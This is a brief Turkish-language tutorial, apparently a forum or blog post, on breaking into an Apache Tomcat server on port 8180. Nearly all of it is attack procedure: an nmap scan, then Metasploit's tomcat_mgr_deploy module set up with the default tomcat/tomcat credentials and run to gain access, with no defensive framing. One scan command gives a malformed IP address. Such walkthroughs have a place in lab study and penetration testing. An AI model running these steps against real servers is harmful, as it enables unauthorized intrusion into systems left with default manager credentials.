Http Servis (8180. Port)(tomcat) Sızmak

Öncelikle hedefte bir tarama gerçekleştiriyoruz

nmap -sS -sV 192.168.123

İstediğim port açık.Sonra Msfcosnole yi açıyoruz

search tomcat

Konu ile ilgili exploit leri bize listeledi burdan

use exploit/multi/http/tomcat_mgr_deploy

Dedik ve seçtik

show options

Diyerek bizden istediği bilgileri gördük bizden site diği bilgileri sırasıyla buraya yazacağız

set PASSWORD tomcat

set RHOST 192.168.128.123

set RPORT 8180

set USERNAME tomcat

Dedik bilgileri girdik ve şimdi de kontrol edip

exploit

Diyoruz ve ve siteme girmiş olduk